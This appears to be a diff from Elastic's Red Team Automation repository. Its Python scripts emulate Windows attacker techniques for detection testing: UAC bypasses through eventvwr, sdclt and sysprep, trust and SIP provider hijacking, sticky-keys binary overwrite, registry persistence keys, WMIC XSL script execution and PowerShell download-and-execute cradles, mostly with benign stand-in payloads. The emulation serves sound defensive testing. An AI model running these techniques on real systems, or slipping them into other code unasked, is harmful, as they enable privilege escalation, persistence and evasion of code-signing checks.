common.execute(['cmd', '/c', 'echo', 'dummy_shortcut', '>', shortcut_path])
common.log("Deleting dummy shortcut file")
common.remove_file(shortcut_path)
if __name__ == "__main__":
exit(main())
+62
View File
@@ -0,0 +1,62 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: SIP Provider Modification
# RTA: sip_provider.py
# ATT&CK: TBD
# Description: Registers a mock SIP provider to bypass code integrity checks and execute mock malware.
from . import common
CRYPTO_ROOT = "SOFTWARE\\Microsoft\\Cryptography\\OID\\EncodingType 0"
VERIFY_DLL_KEY = "%s\\CryptSIPDllVerifyIndirectData\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" % CRYPTO_ROOT
GETSIG_KEY = "%s\\CryptSIPDllGetSignedDataMsg\\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" % CRYPTO_ROOT
def register_sip_provider(dll_path, verify_function, getsig_function):
winreg = common.get_winreg()
hkey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, VERIFY_DLL_KEY)
common.log("Setting verify dll path: %s" % dll_path)
winreg.SetValueEx(hkey, "Dll", 0, winreg.REG_SZ, dll_path)
common.log("Setting verify function name: %s" % verify_function)
winreg.SetValueEx(hkey, "FuncName", 0, winreg.REG_SZ, verify_function)
hkey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, GETSIG_KEY)
common.log("Setting getsig dll path: %s" % dll_path)
winreg.SetValueEx(hkey, "Dll", 0, winreg.REG_SZ, dll_path)
common.log("Setting getsig function name: %s" % getsig_function)
winreg.SetValueEx(hkey, "FuncName", 0, winreg.REG_SZ, getsig_function)
if common.is_64bit():
SIGCHECK = common.get_path("bin", "sigcheck64.exe")
TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider64.dll")
else:
SIGCHECK = common.get_path("bin", "sigcheck32.exe")
TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider32.dll")
TARGET_APP = common.get_path("bin", "myapp.exe")
@common.requires_os(common.WINDOWS)
@common.dependencies(SIGCHECK, TRUST_PROVIDER_DLL, TARGET_APP)
def main():
common.log("Registering SIP provider")
register_sip_provider(TRUST_PROVIDER_DLL, "VerifyFunction", "GetSignature")
common.log("Launching sigcheck")
common.execute([SIGCHECK, "-accepteula", TARGET_APP])
common.log("Cleaning up", log_type="-")
wintrust = "C:\\Windows\\System32\\WINTRUST.dll"
register_sip_provider(wintrust, "CryptSIPVerifyIndirectData", "CryptSIPGetSignedDataMsg")
if __name__ == "__main__":
exit(main())
+34
View File
@@ -0,0 +1,34 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Outbound SMB from a User Process
# RTA: smb_connection.py
# ATT&CK: T1105
# Description: Initiates an SMB connection to a target machine, without going through the normal Windows APIs.
import socket
import sys
from . import common
SMB_PORT = 445
@common.requires_os(common.WINDOWS)
def main(ip=None):
ip = ip or common.get_ip()
# connect to rpc
common.log("Connecting to {}:{}".format(ip, SMB_PORT))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, 445))
common.log("Sending HELLO")
s.send(b"HELLO!")
common.log("Shutting down the conection...")
s.close()
common.log("Closed connection to {}:{}".format(ip, SMB_PORT))
if __name__ == "__main__":
exit(main(*sys.argv[1:]))
+51
View File
@@ -0,0 +1,51 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Overwrite Accessibiity Binaries
# RTA: sticky_keys_write_execute.py
# ATT&CK: T1015
# Description: Writes different binaries into various accessibility locations.
import os
import time
from . import common
@common.requires_os(common.WINDOWS)
def main():
# Prep
bins = ["sethc.exe", "utilman.exe", "narrator.exe", "magnify.exe", "osk.exe", "displayswitch.exe", "atbroker.exe"]
calc = os.path.abspath("\\windows\\system32\\calc.exe")
temp = os.path.abspath("temp.exe")
# loop over bins
for bin_name in bins:
bin_path = os.path.abspath("\\Windows\\system32\\" + bin_name)
# Back up bin
common.copy_file(bin_path, temp)
# Change Permissions to allow modification
common.execute(["takeown", "/F", bin_path, "/A"])
common.execute(["icacls", bin_path, "/grant", "Administrators:F"])
# Copy Calc to overwrite binary, then run it
common.copy_file(calc, bin_path)
common.execute(bin_path, kill=True, timeout=1)
# Restore Original File and Permissions on file
common.copy_file(temp, bin_path)
common.execute(["icacls", bin_path, "/setowner", "NT SERVICE\\TrustedInstaller"])
common.execute(["icacls", bin_path, "/grant:r", "Administrators:RX"])
common.remove_file(temp)
# Cleanup
time.sleep(2)
common.execute(["taskkill", "/F", "/im", "calculator.exe"])
if __name__ == "__main__":
exit(main())
@@ -0,0 +1,21 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Suspicious DLL Registration by Regsvr32
# RTA: suspicious_dll_registration_regsvr32.py
# ATT&CK: T1117
# Description: Pretends to register DLL without traditional DLL extension using RegSvr32
from . import common
@common.requires_os(common.WINDOWS)
def main():
common.log("Suspicious DLL Registration by Regsvr32")
common.execute(["regsvr32.exe", "-s", "meow.txt"])
if __name__ == "__main__":
exit(main())
+37
View File
@@ -0,0 +1,37 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Emulate Suspect MS Office Child Processes
# RTA: suspect_office_children.py
# ATT&CK: T1064
# Description: Generates network traffic various children processes from emulated Office processes.
import os
from . import common
from . import mshta_network
@common.requires_os(common.WINDOWS)
def main():
mshta_path = os.path.abspath(mshta_network.__file__.replace(".pyc", ".py"))
cmd_path = "c:\\windows\\system32\\cmd.exe"
binaries = ["adobe.exe", "winword.exe", "outlook.exe", "excel.exe", "powerpnt.exe"]
for binary in binaries:
common.copy_file(cmd_path, binary)
# Execute a handful of commands
common.execute(["adobe.exe", "/c", "regsvr32.exe", "/s", "/?"], timeout=5, kill=True)
common.execute(["winword.exe", "/c", "certutil.exe"], timeout=5, kill=True)
common.execute(["outlook.exe", "/c", "powershell.exe", "-c", "whoami"], timeout=5, kill=True)
common.execute(["excel.exe", "/c", "cscript.exe", "-x"], timeout=5, kill=True)
# Test out ancestry for mshta
common.execute(["powerpnt.exe", "/c", mshta_path])
common.remove_files(*binaries)
if __name__ == "__main__":
exit(main())
+47
View File
@@ -0,0 +1,47 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Emulate Suspect MS Office Child Processes
# RTA: suspect_office_children.py
# ATT&CK: T1064
# Description: Generates various children processes from emulated Office processes.
import os
import time
from . import common
@common.requires_os(common.WINDOWS)
def main():
common.log("MS Office unusual child process emulation")
suspicious_apps = [
"msiexec.exe /i blah /quiet",
"powershell.exe exit",
"wscript.exe //b",
]
cmd_path = "c:\\windows\\system32\\cmd.exe"
browser_path = os.path.abspath("firefox.exe")
common.copy_file(cmd_path, browser_path)
for office_app in ["winword.exe", "excel.exe"]:
common.log("Emulating %s" % office_app)
office_path = os.path.abspath(office_app)
common.copy_file(cmd_path, office_path)
for command in suspicious_apps:
common.execute('%s /c %s /c %s' % (office_path, browser_path, command), timeout=5, kill=True)
common.log('Cleanup %s' % office_path)
common.remove_file(office_path)
common.log("Sleep 5 to allow processes to finish")
time.sleep(5)
common.log('Cleanup %s' % browser_path)
common.remove_file(browser_path)
if __name__ == "__main__":
exit(main())
+40
View File
@@ -0,0 +1,40 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Suspicious PowerShell Download
# RTA: suspicious_powershell_download.py
# ATT&CK: T1086
# Description: PowerShell using DownloadString or DownloadFile in suspicious context
import os
import time
from . import common
@common.requires_os(common.WINDOWS)
def main():
cmd_path = "c:\\windows\\system32\\cmd.exe"
server, ip, port = common.serve_web()
url = 'http://{}:{}/bad.ps1'.format(ip, port)
cmds = ["powershell -ep bypass -c iex(new-object net.webclient).downloadstring('{}')".format(url),
"powershell -ep bypass -c (new-object net.webclient).downloadfile('{}', 'bad.exe')".format(url)]
# emulate word and chrome
for user_app in ["winword.exe", "chrome.exe"]:
common.log("Emulating {}".format(user_app))
user_app_path = os.path.abspath(user_app)
common.copy_file(cmd_path, user_app_path)
for cmd in cmds:
common.execute([user_app_path, "/c", cmd])
time.sleep(2)
# cleanup
common.remove_file(user_app_path)
if __name__ == "__main__":
exit(main())
+42
View File
@@ -0,0 +1,42 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Suspicious WMIC script execution
# RTA: suspicious_wmic_script.py
# Description: Uses the WMI command-line utility to execute built-in Windows commands which are unusual or unexpected.
# Reference: https://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html
import os
from . import common
xsl_file = "test.xsl"
xsl_content = """<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("ipconfig.exe");
]]> </ms:script>
</stylesheet>
"""
@common.requires_os(common.WINDOWS)
def main():
common.log("Executing suspicious WMIC script")
with open(xsl_file, "w") as f:
f.write(xsl_content)
# Many variations on this command. For example, -format:, / format : , etc
common.execute(["wmic.exe", "os", "get", "/format:" + xsl_file])
os.remove(xsl_file)
if __name__ == "__main__":
exit(main())
+47
View File
@@ -0,0 +1,47 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Suspicious WScript parent
# RTA: suspicious_wscript_parent.py
# ATT&CK: T1064, T1192, T1193
# Description: WScript run with suspicious parent processes
import os
import time
from . import common
@common.requires_os(common.WINDOWS)
def main():
script_data = """
WScript.CreateObject("wscript.shell")
"""
script_path = ".\\hello.vbs"
with open(script_path, 'w') as f:
f.write(script_data)
cmd_path = "c:\\windows\\system32\\cmd.exe"
for application in ["outlook.exe", "explorer.exe", "chrome.exe", "firefox.exe"]:
common.log("Emulating %s" % application)
app_path = os.path.abspath(application)
common.copy_file(cmd_path, app_path)
common.execute([app_path, "/c", "wscript.exe", "script_path"], timeout=1, kill=True)
common.log("Killing wscript window")
common.execute('taskkill /IM wscript.exe')
common.log('Cleanup %s' % app_path)
common.remove_file(app_path)
common.log("Sleep 5 to allow procecsses to finish")
time.sleep(5)
common.log('Cleanup %s' % script_path)
common.remove_file(script_path)
if __name__ == "__main__":
exit(main())
+42
View File
@@ -0,0 +1,42 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Process Execution in System Restore
# RTA: system_restore_process.py
# ATT&CK: T1158
# Description: Copies mock malware into the System Volume Information directory and executes.
import os
from . import common
SYSTEM_RESTORE = "c:\\System Volume Information"
@common.requires_os(common.WINDOWS)
@common.dependencies(common.PS_EXEC)
def main():
status = common.run_system()
if status is not None:
return status
common.log("System Restore Process Evasion")
program_path = common.get_path("bin", "myapp.exe")
common.log("Finding a writeable directory in %s" % SYSTEM_RESTORE)
target_directory = common.find_writeable_directory(SYSTEM_RESTORE)
if not target_directory:
common.log("No writeable directories in System Restore. Exiting...", "-")
return common.UNSUPPORTED_RTA
target_path = os.path.join(target_directory, "restore-process.exe")
common.copy_file(program_path, target_path)
common.execute(target_path)
common.log("Cleanup", log_type="-")
common.remove_file(target_path)
if __name__ == "__main__":
exit(main())
+50
View File
@@ -0,0 +1,50 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Trust Provider Modification
# RTA: trust_provider.py
# ATT&CK: T1116
# Description: Substitutes an invalid code authentication policy, enabling trust policy bypass.
from . import common
FINAL_POLICY_KEY = "Software\\Microsoft\\Cryptography\\providers\\trust\\FinalPolicy\\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}" # noqa: E501
def set_final_policy(dll_path, function_name):
winreg = common.get_winreg()
hkey = winreg.CreateKey(winreg.HKEY_LOCAL_MACHINE, FINAL_POLICY_KEY)
common.log("Setting dll path: %s" % dll_path)
winreg.SetValueEx(hkey, "$DLL", 0, winreg.REG_SZ, dll_path)
common.log("Setting function name: %s" % function_name)
winreg.SetValueEx(hkey, "$Function", 0, winreg.REG_SZ, function_name)
if common.is_64bit():
SIGCHECK = common.get_path("bin", "sigcheck64.exe")
TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider64.dll")
else:
SIGCHECK = common.get_path("bin", "sigcheck32.exe")
TRUST_PROVIDER_DLL = common.get_path("bin", "TrustProvider32.dll")
TARGET_APP = common.get_path("bin", "myapp.exe")
@common.requires_os(common.WINDOWS)
@common.dependencies(SIGCHECK, TRUST_PROVIDER_DLL, TARGET_APP)
def main():
common.log("Trust Provider")
set_final_policy(TRUST_PROVIDER_DLL, "FinalPolicy")
common.log("Launching sigcheck")
common.execute([SIGCHECK, "-accepteula", TARGET_APP])
common.log("Cleaning up")
set_final_policy("C:\\Windows\\System32\\WINTRUST.dll", "SoftpubAuthenticode")
if __name__ == "__main__":
exit(main())
+44
View File
@@ -0,0 +1,44 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Bypass UAC via Event Viewer
# RTA: uac_eventviewer.py
# ATT&CK: T1088
# Description: Modifies the Registry value to change the handler for MSC files, bypassing UAC.
import sys
import time
from . import common
# Default machine value:
# HKLM\Software\Classes\MSCFile\shell\open\command\(Default)
# %SystemRoot%\system32\mmc.exe "%1" %*
@common.requires_os(common.WINDOWS)
def main(target_file=common.get_path("bin", "myapp.exe")):
winreg = common.get_winreg()
common.log("Bypass UAC with %s" % target_file)
common.log("Writing registry key")
hkey = winreg.CreateKey(winreg.HKEY_CURRENT_USER, "Software\\Classes\\MSCFile\\shell\\open\\command")
winreg.SetValue(hkey, "", winreg.REG_SZ, target_file)
common.log("Running event viewer")
common.execute(["c:\\windows\\system32\\eventvwr.exe"])
time.sleep(3)
common.log("Killing MMC", log_type="!")
common.execute(['taskkill', '/f', '/im', 'mmc.exe'])
common.log("Restoring registry key", log_type="-")
winreg.DeleteValue(hkey, "")
winreg.DeleteKey(hkey, "")
winreg.CloseKey(hkey)
if __name__ == "__main__":
exit(main(*sys.argv[1:]))
+41
View File
@@ -0,0 +1,41 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Bypass UAC via Sdclt
# RTA: uac_sdclt.py
# ATT&CK: T1088
# Description: Modifies the Registry to auto-elevate and execute mock malware.
import os
import sys
import time
from . import common
# HKCU:\Software\Classes\exefile\shell\runas\command value: IsolatedCommand
# "sdclt.exe /KickOffElev" or children of sdclt.exe
# HKLM value: "%1" %*
@common.requires_os(common.WINDOWS)
def main(target_process=common.get_path("bin", "myapp.exe")):
target_process = os.path.abspath(target_process)
common.log("Bypass UAC via Sdclt to run %s" % target_process)
key = "Software\\Classes\\exefile\\shell\\runas\\command"
value = "IsolatedCommand"
with common.temporary_reg(common.HKCU, key, value, target_process):
common.log("Running Sdclt to bypass UAC")
common.execute([r"c:\windows\system32\sdclt.exe", "/KickOffElev"])
time.sleep(2)
common.log("Killing the Windows Backup program sdclt", log_type="!")
common.execute(['taskkill', '/f', '/im', 'sdclt.exe'])
if __name__ == "__main__":
exit(main(*sys.argv[1:]))
+24
View File
@@ -0,0 +1,24 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Bypass UAC via Sysprep
# RTA: uac_sysprep.py
# ATT&CK: T1088
# Description: Use CRYPTBASE.dll opportunity to do Dll Sideloading with SysPrep for a UAC bypass
from . import common
@common.requires_os(common.WINDOWS)
def main():
common.log("Bypass UAC with CRYPTBASE.dll")
common.copy_file("C:\\windows\\system32\\kernel32.dll", "C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL")
common.execute(["C:\\Windows\\system32\sysprep\\sysprep.exe"], timeout=5, kill=True)
common.remove_file("C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL")
if __name__ == "__main__":
exit(main())
+73
View File
@@ -0,0 +1,73 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Uncommon Registry Persistence Change
# RTA: uncommon_persistence.py
# ATT&CK: T1112
# Description: Modifies the Registry for Logon Shell persistence using a mock payload.
import sys
from . import common
# There are many unconventional ways to leverage the Registry for persistence:
'''
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\*" or
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Terminal Server\\Install\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Runonce\\*" or
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load" or
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Run" or
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\IconServiceLib" or
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell" or
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\AppSetup" or
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Taskman" or
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit" or
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\VmApplet" or
key_path == "*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*" or
key_path == "*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Shell" or
key_path == "*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logoff\\Script" or
key_path == "*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logon\\Script" or
key_path == "*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Shutdown\\Script" or
key_path == "*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Startup\\Script" or
key_path == "*\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\*\\ShellComponent" or
key_path == "*\\SOFTWARE\\Microsoft\\Windows CE Services\\AutoStartOnConnect\\MicrosoftActiveSync" or
key_path == "*\\SOFTWARE\\Microsoft\\Windows CE Services\\AutoStartOnDisconnect\\MicrosoftActiveSync" or
key_path == "*\\SOFTWARE\\Microsoft\\Ctf\\LangBarAddin\\*\\FilePath" or
key_path == "*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Exec" or
key_path == "*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Script" or
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32\\*" or
key_path == "*\\SOFTWARE\\Microsoft\\Command Processor\\Autorun" or
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*\\VerifierDlls" or
key_path == "*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\GpExtensions\\*\\DllName" or
key_path == "*\\SOFTWARE\\Microsoft\\Office Test\\Special\\Perf\\" or
(key_path == "*\\System\\ControlSet*\\Control\\SafeBoot\\AlternateShell" and bytes_written_string != "cmd.exe") or
key_path == "*\\System\\ControlSet*\\Control\\Terminal Server\\Wds\\rdpwd\\StartupPrograms" or
key_path == "*\\System\\ControlSet*\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\InitialProgram" or
key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\BootExecute" or
key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\SetupExecute" or
key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\Execute" or
key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\S0InitialCommand" or
key_path == "*\\System\\ControlSet*\\Control\\ServiceControlManagerExtension" or
key_path == "*\\System\\ControlSet*\\Control\\Session Manager\\AppCertDlls\\*" or
key_path == "*\\System\\ControlSet*\\Control\\BootVerificationProgram\\ImagePath" or
key_path == "*\\System\\Setup\\CmdLine"
)
''' # noqa: E501
@common.requires_os(common.WINDOWS)
def main(target="calc.exe"):
winreg = common.get_winreg()
hkey = winreg.CreateKey(winreg.HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon")
common.log("Setting reg key")
winreg.SetValueEx(hkey, "Userinit", 0, winreg.REG_SZ, target)
common.log("Setting reg key", log_type="-")
winreg.DeleteValue(hkey, "Userinit")
winreg.CloseKey(hkey)
if __name__ == "__main__":
exit(main(*sys.argv[:1]))
+56
View File
@@ -0,0 +1,56 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Unexpected Network Activity from Microsoft Tools
# RTA: unusual_ms_tool_network.py
# ATT&CK: T1127
# Description: Creates network traffic from a process which is named to match common administration and developer tools
# that do not typically make network traffic unless being used maliciously.
import os
import shutil
import sys
from . import common
if sys.version_info > (3,):
urlliblib = "urllib.request"
else:
urlliblib = "urllib"
process_names = [
"bginfo.exe",
"msdt.exe",
"ieexec.exe",
"cdb.exe",
"dnx.exe",
"rcsi.exe",
"csi.exe",
"cmstp.exe",
"xwizard.exe",
"fsi.exe",
"odbcconf.exe"
]
def http_from_process(name, ip, port):
path = os.path.join(common.BASE_DIR, name)
common.log("Making HTTP GET from %s" % path)
shutil.copy(sys.executable, path)
common.execute([path, "-c", "from %s import urlopen ; urlopen('http://%s:%d')" % (urlliblib, ip, port)])
common.remove_file(path)
@common.requires_os(common.WINDOWS)
def main():
server, ip, port = common.serve_web()
for process in process_names:
http_from_process(process, ip, port)
server.shutdown()
if __name__ == "__main__":
exit(main())
+40
View File
@@ -0,0 +1,40 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Invalid Process Trees in Windows
# RTA: unusual_parent_child.py
# ATT&CK: T1093
# Description: Runs several Windows core processes directly, instead of from the proper parent in Windows.
import os
import sys
from . import common
@common.requires_os(common.WINDOWS)
def main():
common.log("Running Windows processes with an unexpected parent of %s" % os.path.basename(sys.executable))
process_names = [
# "C:\\Windows\\System32\\smss.exe", BSOD (avoid this)
# "C:\\Windows\\System32\\csrss.exe", BSOD (avoid this)
# "C:\\Windows\\System32\\wininit.exe", BSOD (avoid this)
# "C:\\Windows\\System32\\services.exe", BSOD (avoid this)
"C:\\Windows\\System32\\winlogon.exe",
"C:\\Windows\\System32\\lsass.exe",
"C:\\Windows\\System32\\taskhost.exe", # Win7
"C:\\Windows\\System32\\taskhostw.exe", # Win10
"C:\\Windows\\System32\\svchost.exe",
]
for process in process_names:
# taskhostw.exe isn't on all versions of windows
if os.path.exists(process):
common.execute([process], timeout=2, kill=True)
else:
common.log("Skipping %s" % process, "-")
if __name__ == "__main__":
exit(main())
+38
View File
@@ -0,0 +1,38 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: SYSTEM Escalation from User Directory
# RTA: user_dir_escalation.py
# ATT&CK: T1044
# Description: Spawns mock malware written to a regular user directory and executes as System.
import os
from . import common
@common.requires_os(common.WINDOWS)
@common.dependencies(common.PS_EXEC)
def main():
# make sure path is absolute for psexec
status = common.run_system()
if status is not None:
return status
common.log("Run a user-writeable file as system")
source_path = common.get_path("bin", "myapp.exe")
target_directory = "c:\\users\\fake_user_rta-%d" % os.getpid()
if not os.path.exists(target_directory):
os.makedirs(target_directory)
target_path = os.path.join(target_directory, "user_file.exe")
common.copy_file(source_path, target_path)
common.execute([target_path])
common.remove_directory(target_directory)
if __name__ == "__main__":
exit(main())
+23
View File
@@ -0,0 +1,23 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: Searching Credential Vaults via VaultCmd
# RTA: vaultcmd_commands.py
# ATT&CK: T1003
# Description: Lists the Windows Credential Vaults on the endpoint
import sys
from . import common
@common.requires_os(common.WINDOWS)
def main():
common.log("Searching Credential Vaults via VaultCmd")
common.execute(["vaultcmd.exe", "/list"])
if __name__ == "__main__":
exit(main(*sys.argv[1:]))
+47
View File
@@ -0,0 +1,47 @@
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License;
# you may not use this file except in compliance with the Elastic License.
# Name: WerFault.exe Persistence
# RTA: werfault_persistence.py
# ATT&CK: T1112
# Description: Sets an executable to run when WerFault is run with -rp flags and runs it
import time
from . import common
MY_APP = common.get_path("bin", "myapp.exe")
@common.requires_os(common.WINDOWS)
@common.dependencies(MY_APP)
def main():
reg_key = "'HKLM:\\SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\hangs'"
reg_name = "ReflectDebugger"
commands = ["C:\\Windows\\system32\\calc.exe",
"'powershell -c calc.exe'",
MY_APP]
for command in commands:
common.log("Setting WerFault reg key to {}".format(command))
common.execute(["powershell", "-c", "New-ItemProperty", "-Path", reg_key,
"-Name", reg_name, "-Value", command], wait=False)
time.sleep(1)
common.log("Running WerFault.exe -pr 1")
common.execute(["werfault", "-pr", "1"], wait=False)
time.sleep(2.5)
common.execute(["powershell", "-c", "Remove-ItemProperty", "-Path", reg_key, "-Name", reg_name])
common.log("Cleaning up")
common.execute(["taskkill", "/F", "/im", "calc.exe"])
common.execute(["taskkill", "/F", "/im", "calculator.exe"])
common.execute(["taskkill", "/F", "/im", "myapp.exe"])
if __name__ == '__main__':
exit(main())

Some files were not shown because too many files have changed in this diff Show More